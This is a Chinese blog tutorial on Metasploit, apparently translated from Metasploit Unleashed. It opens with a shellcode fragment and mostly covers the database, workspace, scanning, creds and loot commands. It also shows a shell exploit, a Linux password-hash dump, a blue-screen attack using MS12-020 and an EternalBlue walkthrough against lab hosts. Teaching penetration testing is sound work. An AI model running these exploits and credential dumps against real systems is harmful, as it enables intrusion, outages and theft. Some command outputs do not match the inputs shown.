"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...略...

突出显示的颜色文本显示了我们在有效负载开始时的NOP sled。将接下来的3行与上面的shellcode比较,我们看到它们完全一样。如预期的那样,总字节数增长了14个字节。

六、 Databases(数据库)

6.1 Metasploit中的Databases(数据库)

使用Metasploit将信息存储在数据库中

在进行渗透测试时,跟踪您在目标网络上完成的所有操作(通常是一项挑战)。这是配置数据库的好时机。Metasploit内置了对PostgreSQL数据库系统的支持。

该系统可以快速方便地访问扫描信息,并使我们能够导入和导出各种第三方工具的扫描结果。我们也可以使用这些信息来快速配置模块选项。最重要的是,它保持我们的结果清洁和组织。

 

msf > help database
数据库后端命令
=========================
命     令                  描     述
-------                    -----------
db_connect               连接到现有的数据库
db_disconnect          断开与当前数据库实例的连接
db_export                 导出包含数据库内容的文件
db_import                 导入扫描结果文件(文件类型将被自动检测)
db_nmap                  执行nmap并自动记录输出
db_rebuild_cache     重建数据库存储的模块高速缓存
db_status                  显示当前的数据库状态
hosts                         列出数据库中的所有主机
loot                           列出数据库中的所有战利品
notes                         列出数据库中的所有笔记
services                     列出数据库中的所有服务
vulns                         列出数据库中的所有漏洞
workspace                 在数据库工作区之间切换

6.2 Metasploit中使用Database(数据库)

内容:

1 、Setup(设置)
2 、Workspaces(工作区)
3、 Importing & Scanning(导入和扫描)
4、 Backing Up(备份)
5、 Hosts(主机)
6、 Setting up Modules(设置模块)
7、 Services(服务)
8、 CSV Export(csv导出)
9、 Creds(凭据)
10、 Loot

6.2.1、设置我们的Metasploit数据库

在Kali中,您需要在使用数据库之前启动postgresql服务器。

root@kali:~# systemctl start postgresql

启动postgresql后,您需要使用msfdb init创建并初始化msf数据库。

root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role: 
Enter it again: 
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema

注意:如果你已经配置执行此命令就会提示“A database appears to be already configured, skipping initialization(数据库似乎已经配置,跳过初始化)”;

6.2.2 在Metasploit中使用工作区

当我们加载msfconsole并运行' db_status '时,我们可以确认Metasploit已成功连接到数据库。

msf > db_status
[*] postgresql connected to msf

看到这个功能是为了跟踪我们的活动和扫描顺序。我们必须从右脚开始。一旦连接到数据库,我们就可以通过使用所谓的“工作空间”来组织我们不同的动作。这使我们能够保存来自不同locations(位置)/networks(网络)/subnets(子网)的不同扫描。

msfconsole发出' workspace '命令,将显示当前选定的工作区。连接到数据库时选择“ default”工作区,数据库由名称旁边的 表示。

msf > workspace
* default
  msfu
  lab1
  lab2
  lab3
  lab4

正如我们所看到的,当涉及到保持“neat”时,这可能非常方便。让我们将当前工作区更改为'msfu'。

msf > workspace msfu
[*] Workspace: msfu
msf > workspace
  default
* msfu
  lab1
  lab2
  lab3
  lab4

创建和删除工作区只需在msfconsole提示符处使用' -a '或' -d '后跟名称即可。

msf > workspace -a lab4
[*] Added workspace: lab4
msf > 
msf > workspace -d lab4 
[*] Deleted workspace: lab4
msf > 

工作区使用就这么简单,使用相同的命令并添加' -h '选项将为我们提供命令的其他功能。

msf > workspace -h
用法:
workspace                         列出工作区
workspace -v                     详细列出工作区
workspace [名称]                开关工作区
workspace -a [名称] ...        添加工作区(s)
workspace -d [名称] ...        删除工作区(s)
workspace -D                     删除所有工作区
workspace -r <旧> <新>    重命名工作区
workspace -h                      显示此帮助信息

从现在起,任何扫描或从第三方应用程序导入都将保存到此工作区中。

现在我们连接到我们的数据库和工作区设置,让我们看看用一些数据填充它。首先,我们将使用msfconsole中的'help'命令查看可用的不同“db_”命令。

msf> help 
... 略 ...
数据库后端命令
=========================

    命    令          描    述
    -------           -----------
    db_connect        连接到现有的数据库
    db_disconnect     断开与当前数据库实例的连接
    db_export         导出包含数据库内容的文件
    db_import         导入扫描结果文件(文件类型将被自动检测)
    db_nmap           执行nmap并自动记录输出
    db_rebuild_cache  重建数据库存储的模块高速缓存
    db_status         显示当前的数据库状态
    hosts             列出数据库中的所有主机
    loot              列出数据库中的所有战利品
    notes             列出数据库中的所有笔记
    services          列出数据库中的所有服务
    vulns             列出数据库中的所有漏洞
    workspace         在数据库工作区之间切换

5.2.3 导入和扫描

有几种方法可以做到这一点,从直接从控制台扫描主机或网络,或从早期扫描导入文件。我们首先导入'metasploitable 2'主机的nmap扫描。这是使用' db_import ' 完成的,后面是我们文件的路径。

msf >  db_import /root/msfu/nmapScan 
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
172.16.194.172  00:0C:29:D1:62:80        Linux    Ubuntu            server       

 

一旦完成,我们可以通过发出'hosts'命令来确认导入。这将显示存储在我们当前工作区中的所有主机。

 

我们还可以使用'db_nmap'命令直接从控制台扫描主机。扫描结果将保存在我们当前的数据库中。该命令的作用方式与'nmap'的命令行版本相同。

msf > db_nmap -A 172.16.194.134
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-18 12:36 EDT
[*] Nmap: Nmap scan report for 172.16.194.134
[*] Nmap: Host is up (0.00031s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT     STATE SERVICE      VERSION
[*] Nmap: 80/tcp   open  http         Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 

...略...

[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.31 ms 172.16.194.134
[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
msf >
msf > hosts

Hosts
=====

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server  

5.2.4、备份我们的数据

将数据导出到Metasploit环境之外非常简单。使用' db_export '命令,我们收集到的所有信息都可以保存在一个XML文件中。此格式可以稍后用于报告目的轻松使用和操作。该命令有2个输出,' xml '格式将导出当前存储在我们活动工作区中的所有信息,' pwdump '格式导出与使用/收集的凭证有关的所有信息。

msf >  db_export -h
用法:
    db_export -f <format> [filename]
    Format can be one of: xml, pwdump   #(format可以是下列之一:xml,pwdump)
[-] No output file was specified
msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of credentials
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...

5.2.5 使用主机命令

现在我们可以将数据导入和导出数据库,让我们看看我们如何在msfconsole中使用这些信息。许多命令可用于搜索存储在我们数据库中的特定信息。承载名称,地址,发现的服务等。我们甚至可以使用生成的数据来填充模块设置,例如RHOSTS。我们将在稍后看看这是如何完成的。

“ hosts”命令之前用于确认数据库中数据的存在。让我们看看可用的不同选项,看看我们如何使用它来为我们提供快速有用的信息。用'-h'发出命令将显示帮助菜单。

msf > hosts -h
用法:

hosts [选项] [addr1 addr2 ...]

选项:
-a,--add                 添加主机而不是搜索
-d, - delete            删除主机而不是搜索
-c <col1,col2>       仅显示给定列(请参阅下面的列表)
-h, - help               显示此帮助信息
-u, --up                 只显示已启动的主机
-o <file>                  以csv格式将输出发送到文件
-O <column>          按指定的列号对行进行排序
-R, --rhosts            从搜索结果中设置RHOSTS
-S, --search            搜索字符串进行过滤
-i, -- info                更改主机的信息
-n, - -name            更改主机的名称
-m,-- comment      更改主机的评论
-t, -- tag                 为一系列主机添加或指定一个标记

-c可用列:address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags

我们首先要求' hosts '命令使用' -c '选项仅显示IP地址和操作系统类型。

msf > hosts -c address,os_flavor

Hosts
=====

address         os_flavor
-------         ---------
172.16.2.134  XP
172.16.2.172  Ubuntu

5.2.6 设置模块

我们可以使用的另一个有趣功能是能够搜索我们所有条目的具体内容。想象一下,如果我们希望从我们的扫描中只找到基于Linux的机器。为此,我们使用' -S '选项。该选项可以与我们之前的示例结合使用,并帮助微调我们的结果。

msf > hosts -c address,os_flavor -S Linux

Hosts
=====

address         os_flavor
-------         ---------
172.16.2.172  Ubuntu

使用我们前面例子的输出,我们将把它提供给'tcp'扫描辅助模块。

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

默认情况下,' RHOSTS '中没有设置任何内容,我们将' -R '开关添加到hosts命令并运行模块。希望它能够毫无问题地运行并扫描我们的目标。

msf  auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R

Hosts
=====

address         os_flavor
-------         ---------
172.16.2.172  Ubuntu

RHOSTS => 172.16.2.172

msf  auxiliary(tcp) > run

[*] 172.16.2.172:25 - TCP OPEN
[*] 172.16.2.172:23 - TCP OPEN
[*] 172.16.2.172:22 - TCP OPEN

当然,如果我们的结果包含多个地址,这也是有效的。

msf  auxiliary(tcp) > hosts -R

Hosts
=====

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

RHOSTS => 172.16.194.134 172.16.194.172

msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting                Required  Description
   ----         ---------------                --------  -----------
   CONCURRENCY  10                             yes       The number of concurrent ports to check per host
   FILTER                                      no        The filter string for capturing traffic
   INTERFACE                                   no        The name of the interface
   PCAPFILE                                    no        The name of the PCAP capture file to process
   PORTS        1-10000                        yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       172.16.194.134 172.16.194.172  yes       The target address range or CIDR identifier
   SNAPLEN      65535                          yes       The number of bytes to capture
   THREADS      1                              yes       The number of concurrent threads
   TIMEOUT      1000                           yes       The socket connect timeout in milliseconds
 

如果我们的数据库包含数百个条目,您可以看到这可能是多么有用。我们只能搜索Windows机器,然后很快为smb_version辅助模块设置RHOSTS选项。几乎所有与数据库交互的命令都可以使用设置的RHOSTS开关。

5.2.7 服务

另一种搜索数据库的方法是使用' services '命令。像前面的例子一样,我们可以很轻松地提取非常具体的信息。

msf > services -h
用法:
services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2...]

-a, -- add                         添加服务而不是搜索
-d, -- delete                     删除服务而不是搜索
-c <col1,col2>                 只显示给定的列
-h, -- help                        显示此帮助信息
-s <name1,name2>         搜索服务名称列表
-p <port1,port2>             搜索端口列表
-r <协议>                             仅显示[tcp | udp]服务
-u, -- up                            只显示已启动的服务
-o <file>                              以csv格式将输出发送到文件
-O <column>                      按指定的列号对行进行排序
-R, -- rhosts                      从搜索结果中设置RHOSTS
-S, --search                       搜索字符串进行过滤

-c可用列:created_at,info,name,port,proto,state,updated_at

与"hosts"命令大致相同,我们可以指定要显示的字段。加上' -S '开关,我们也可以搜索包含特定字符串的服务。

msf > services -c name,info 172.16.194.134

Services
========

host            name          info
----            ----          ----
172.16.194.134  http          Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  msrpc         Microsoft Windows RPC 
172.16.194.134  netbios-ssn   
172.16.194.134  http          Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  microsoft-ds  Microsoft Windows XP microsoft-ds 
172.16.194.134  mysql 

在这里,我们使用包含字符串'http'的服务名称来搜索数据库中包含的所有主机。

msf > services -c name,info -S http

Services
========

host            name  info
----            ----  ----
172.16.2.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.2.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.2.172  http  Apache httpd 2.2.8 (Ubuntu) DAV/2 
172.16.2.172  http  Apache Tomcat/Coyote JSP engine 1.1 

搜索的组合非常庞大。我们可以使用特定的端口或端口范围。使用'-s'或'-S'开关时全部或部分服务名称。对于所有的主机或只是少数选择...这个列表继续下去。以下是一些示例,但您可能需要尝试使用这些功能才能获得所需内容并需要进行搜索。

msf > services -c info,name -p 445

Services
========

host            info                                  name
----            ----                                  ----
172.16.2.134  Microsoft Windows XP microsoft-ds     microsoft-ds
172.16.2.172  Samba smbd 3.X workgroup: WORKGROUP   netbios-ssn
msf > services -c port,proto,state -p 70-81
Services
========
host           port proto state
----           ---- ----- -----
172.16.2.134 80   tcp   open
172.16.2.172 75   tcp   closed
172.16.2.172 71   tcp   closed
172.16.2.172 72   tcp   closed
msf > services -s http -c port 172.16.194.134
Services
========
host           port
----           ----
172.16.2.134 80
172.16.2.134 443
msf > services -S Unr

5.2.8 CSV导出

“hosts”和“services”命令都为我们提供了一种将查询结果保存到文件中的方法。文件格式是逗号分隔值或CSV。随后是具有路径和文件名的'-o',此时屏幕上显示的信息现在将保存到磁盘。

msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv

[*] Wrote services to /root/msfu/http.csv

msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv

msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""

msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv

host,port
"172.16.194.134","80"
"172.16.194.134","443"

5.2.9 Creds(凭据)

'creds'命令用于管理我们数据库中的目标的查找和使用凭据。不带任何选项运行此命令将显示当前保存的凭据。

msf > creds
Credentials
===========

host  origin  service  public  private  realm  private_type
----  ------  -------  ------  -------  -----  ------------

与' db_nmap '命令一样,与凭据相关的成功结果将自动保存到我们的活动工作区。让我们运行辅助模块' mysql_login ',看看当Metasploit扫描我们的服务器时会发生什么。

msf  auxiliary(mysql_login) > run

[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''
[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution complete

msf  auxiliary(mysql_login) > creds 

Credentials
===========

host            port  user  pass  type      active?
----            ----  ----  ----  ----      -------
172.16.194.172  3306  root        password  true

[*] Found 1 credential.
msf  auxiliary(mysql_login) >

我们可以看到模块能够连接到我们的mysql服务器,并且因为这个Metasploit会自动将这些凭据保存在我们的数据库中以供将来参考。

在对主机进行后期开发期间,为了进一步渗透目标网络,收集用户凭证是一项重要活动。在我们收集证书集时,可以使用'creds -a'命令将它们添加到我们的数据库中。

msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true

msf > creds

Credentials
===========

host            port  user           pass                                                                  type      active?
----            ----  ----           ----                                                                  ----      -------
172.16.194.134  445   Administrator  7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::  password  true

[*] Found 1 credential.

5.2.10 Loot(战利品)

一旦你破坏了一个系统(或三个),其中一个目标可能是检索散列转储。来自Windows或* nix系统。如果发生成功的散列转储,这些信息将存储在我们的数据库中。我们可以使用'loot'命令查看这个转储。与几乎所有命令一样,添加'-h'开关将显示更多信息。

msf > loot -h
用法:
loot <选项>
info:loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
add:loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]
Del:loot -d [addr1 addr2 ...]

-a, --add                     添加战利品地址列表,而不是列表
-d, --delete                  删除*全部*拾取匹配主机和类型
-f, --file                        文件与要添加的战利品内容的文件
-i, -- info                      要添加的战利品信息
-t <type1,type2>         搜索类型列表
-h, -- help                    显示此帮助信息
-S, --search                  搜索字符串进行过滤

以下是一个如何用一些“loot”填充数据库的例子。

msf  exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400

^Z
Background session 1? [y/N]  y

msf  exploit(usermap_script) > use post/linux/gather/hashdump
msf  post(hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf  post(hashdump) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172)

msf  post(hashdump) > run

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed



msf  post(hashdump) > loot

Loot
====

host            service  type          name                   content     info                            path
----            -------  ----          ----                   -------     ----                            ----
172.16.194.172           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt

 

MSFU Navigation
Metasploit Unleashed
Donate – Help Feed a Child
Introduction
Metasploit Fundamentals
Information Gathering
Vulnerability Scanning
Writing a Simple Fuzzer
Exploit Development
Web App Exploit Dev
Client Side Attacks
MSF Post Exploitation
Meterpreter Scripting
Maintaining Access
MSF Extended Usage
Metasploit GUIs
Post Module Reference
Auxiliary Module Reference
Recent Changes

七、Meterpreter实战

1 .MS12-020漏洞利用演示实验

a. 微软关于MS12-020漏洞的安全公告: http://technet.microsoft.com/zh-cn/security/bulletin/ms12-020

b.实验准备工作

  • 该漏洞利用远程桌面的漏洞进行攻击,所以需要靶机xp win7系统打开远程桌面功能。
  • 检查确定渗透测试系统与靶机系统可以互相ping通。

c.渗透测试系统中,在终端输入msfconsole进入msf终端,接着在msf终端中使用search功能搜索ms12-020,发现有两个可用模块:

msf > search ms12-020

d.使用use命令选定要利用的模块:

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) 

d.查看需要填写的参数,这里需要填写靶机ip。

msf auxiliary(ms12_020_maxchannelids) > set RHOST 172.16.6.43
RHOST => 192.168.116.129

e.最后输入命令“run”,执行我们的auxiliary攻击模块:

msf auxiliary(ms12_020_maxchannelids) > run

f.靶机系统受到攻击后蓝屏

2.MS17-010漏洞(永恒之蓝)利用演示实验

a.终端输入msfconsole进入msf终端,接着在msf终端中使用search功能搜索ms17-010,发现有四个可用模块:

search ms17_010

 b.使用use命令选定要利用的模块:

use exploit/windows/smb/ms17_010_eternalblue

 c.指定被攻击对象

set RHOST 172.16.6.43

d.run执行攻击

 

 e.即可拿到shelll

posted @ 2019-11-04 14:45  酒剑仙*  阅读(7403)  评论(0)    收藏  举报